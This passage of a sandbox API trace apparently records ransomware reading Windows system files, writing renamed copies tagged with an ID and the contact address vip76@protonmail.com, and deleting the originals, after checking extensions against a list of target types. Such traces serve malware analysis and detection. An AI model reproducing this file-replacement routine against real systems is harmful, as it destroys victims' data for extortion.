	[0082.567] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.567] lstrlenW (lpString=".dbf") returned 4
	[0082.567] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.567] lstrlenW (lpString=".1cd") returned 4
	[0082.567] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0082.567] lstrlenW (lpString=".jpg") returned 4
	[0082.567] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.567] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0082.567] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24
	[0082.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.568] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=18624) returned 1
	[0082.568] CloseHandle (hObject=0x350) returned 1
	[0082.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20
	[0082.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.569] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.569] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0082.569] GetLastError () returned 0x0
	[0082.569] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0082.571] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0082.572] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.573] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x104, lpOverlapped=0x0) returned 1
	[0082.573] SetEndOfFile (hFile=0x34c) returned 1
	[0082.573] CloseHandle (hObject=0x34c) returned 1
	[0082.573] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.573] SetEndOfFile (hFile=0x350) returned 1
	[0082.574] CloseHandle (hObject=0x350) returned 1
	[0082.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0082.574] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1
	[0082.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.574] lstrlenW (lpString=".doc") returned 4
	[0082.574] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0082.574] lstrlenW (lpString=".docx") returned 5
	[0082.574] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0082.574] lstrlenW (lpString=".pdf") returned 4
	[0082.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0082.575] lstrlenW (lpString=".xls") returned 4
	[0082.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0082.575] lstrlenW (lpString=".xlsx") returned 5
	[0082.575] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0082.575] lstrlenW (lpString=".ppt") returned 4
	[0082.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0082.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.575] lstrlenW (lpString=".zip") returned 4
	[0082.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0082.575] lstrlenW (lpString=".rar") returned 4
	[0082.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0082.575] lstrlenW (lpString=".bz2") returned 4
	[0082.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0082.575] lstrlenW (lpString=".7z") returned 3
	[0082.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0082.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.575] lstrlenW (lpString=".dbf") returned 4
	[0082.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0082.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.575] lstrlenW (lpString=".1cd") returned 4
	[0082.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0082.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.575] lstrlenW (lpString=".jpg") returned 4
	[0082.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0082.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.575] lstrlenW (lpString=".doc") returned 4
	[0082.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0082.575] lstrlenW (lpString=".docx") returned 5
	[0082.575] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0082.576] lstrlenW (lpString=".pdf") returned 4
	[0082.576] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0082.576] lstrlenW (lpString=".xls") returned 4
	[0082.576] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0082.576] lstrlenW (lpString=".xlsx") returned 5
	[0082.576] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0082.576] lstrlenW (lpString=".ppt") returned 4
	[0082.576] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0082.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.576] lstrlenW (lpString=".zip") returned 4
	[0082.576] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0082.576] lstrlenW (lpString=".rar") returned 4
	[0082.576] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0082.576] lstrlenW (lpString=".bz2") returned 4
	[0082.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0082.576] lstrlenW (lpString=".7z") returned 3
	[0082.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0082.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.576] lstrlenW (lpString=".dbf") returned 4
	[0082.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0082.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.576] lstrlenW (lpString=".1cd") returned 4
	[0082.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0082.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0082.576] lstrlenW (lpString=".jpg") returned 4
	[0082.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0082.576] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1
	[0082.576] lstrlenW (lpString="OSE.EXE") returned 7
	[0082.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.577] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=244296) returned 1
	[0082.577] CloseHandle (hObject=0x350) returned 1
	[0082.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20
	[0082.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.578] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.578] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0082.578] GetLastError () returned 0x0
	[0082.578] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x3ba48, lpOverlapped=0x0) returned 1
	[0082.584] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x3ba50, lpOverlapped=0x0) returned 1
	[0082.588] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.588] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0082.588] SetEndOfFile (hFile=0x34c) returned 1
	[0082.588] CloseHandle (hObject=0x34c) returned 1
	[0082.588] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.588] SetEndOfFile (hFile=0x350) returned 1
	[0082.590] CloseHandle (hObject=0x350) returned 1
	[0082.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0082.591] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1
	[0082.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.591] lstrlenW (lpString=".doc") returned 4
	[0082.591] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0082.591] lstrlenW (lpString=".docx") returned 5
	[0082.591] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0082.591] lstrlenW (lpString=".pdf") returned 4
	[0082.591] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0082.591] lstrlenW (lpString=".xls") returned 4
	[0082.591] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0082.591] lstrlenW (lpString=".xlsx") returned 5
	[0082.591] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0082.591] lstrlenW (lpString=".ppt") returned 4
	[0082.591] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0082.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.591] lstrlenW (lpString=".zip") returned 4
	[0082.591] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0082.591] lstrlenW (lpString=".rar") returned 4
	[0082.591] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0082.591] lstrlenW (lpString=".bz2") returned 4
	[0082.591] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0082.591] lstrlenW (lpString=".7z") returned 3
	[0082.592] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0082.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.592] lstrlenW (lpString=".dbf") returned 4
	[0082.592] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0082.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.592] lstrlenW (lpString=".1cd") returned 4
	[0082.592] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0082.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.592] lstrlenW (lpString=".jpg") returned 4
	[0082.592] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0082.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.592] lstrlenW (lpString=".doc") returned 4
	[0082.592] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0082.592] lstrlenW (lpString=".docx") returned 5
	[0082.592] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1
	[0082.592] lstrlenW (lpString=".pdf") returned 4
	[0082.592] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0082.592] lstrlenW (lpString=".xls") returned 4
	[0082.592] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0082.592] lstrlenW (lpString=".xlsx") returned 5
	[0082.592] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1
	[0082.592] lstrlenW (lpString=".ppt") returned 4
	[0082.592] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0082.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.592] lstrlenW (lpString=".zip") returned 4
	[0082.592] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0082.592] lstrlenW (lpString=".rar") returned 4
	[0082.592] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0082.592] lstrlenW (lpString=".bz2") returned 4
	[0082.592] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0082.592] lstrlenW (lpString=".7z") returned 3
	[0082.593] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0082.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.593] lstrlenW (lpString=".dbf") returned 4
	[0082.593] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0082.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.593] lstrlenW (lpString=".1cd") returned 4
	[0082.593] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0082.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68
	[0082.593] lstrlenW (lpString=".jpg") returned 4
	[0082.593] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0082.593] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0082.593] lstrlenW (lpString="msdia100.dll") returned 12
	[0082.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.594] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=990032) returned 1
	[0082.594] CloseHandle (hObject=0x350) returned 1
	[0082.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20
	[0082.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.595] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.595] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0082.595] GetLastError () returned 0x0
	[0082.595] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0xf1b50, lpOverlapped=0x0) returned 1
	[0083.004] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf1b60, lpOverlapped=0x0) returned 1
	[0083.023] ReadFile (in: hFile=0x350, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.023] WriteFile (in: hFile=0x34c, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.023] SetEndOfFile (hFile=0x34c) returned 1
	[0083.023] CloseHandle (hObject=0x34c) returned 1
	[0083.023] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.023] SetEndOfFile (hFile=0x350) returned 1
	[0083.032] CloseHandle (hObject=0x350) returned 1
	[0083.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1
	[0083.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.032] lstrlenW (lpString=".doc") returned 4
	[0083.032] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.032] lstrlenW (lpString=".docx") returned 5
	[0083.032] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0083.032] lstrlenW (lpString=".pdf") returned 4
	[0083.032] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.032] lstrlenW (lpString=".xls") returned 4
	[0083.032] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.032] lstrlenW (lpString=".xlsx") returned 5
	[0083.032] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0083.032] lstrlenW (lpString=".ppt") returned 4
	[0083.032] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.033] lstrlenW (lpString=".zip") returned 4
	[0083.033] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.033] lstrlenW (lpString=".rar") returned 4
	[0083.033] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.033] lstrlenW (lpString=".bz2") returned 4
	[0083.033] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.033] lstrlenW (lpString=".7z") returned 3
	[0083.033] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.033] lstrlenW (lpString=".dbf") returned 4
	[0083.033] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.033] lstrlenW (lpString=".1cd") returned 4
	[0083.033] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.033] lstrlenW (lpString=".jpg") returned 4
	[0083.033] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.033] lstrlenW (lpString=".doc") returned 4
	[0083.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.033] lstrlenW (lpString=".docx") returned 5
	[0083.033] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0083.033] lstrlenW (lpString=".pdf") returned 4
	[0083.033] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.033] lstrlenW (lpString=".xls") returned 4
	[0083.033] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.033] lstrlenW (lpString=".xlsx") returned 5
	[0083.033] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0083.033] lstrlenW (lpString=".ppt") returned 4
	[0083.033] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.034] lstrlenW (lpString=".zip") returned 4
	[0083.034] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.034] lstrlenW (lpString=".rar") returned 4
	[0083.034] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.034] lstrlenW (lpString=".bz2") returned 4
	[0083.034] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.034] lstrlenW (lpString=".7z") returned 3
	[0083.034] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.034] lstrlenW (lpString=".dbf") returned 4
	[0083.034] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0083.034] lstrlenW (lpString=".1cd") returned 4
	[0083.034] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
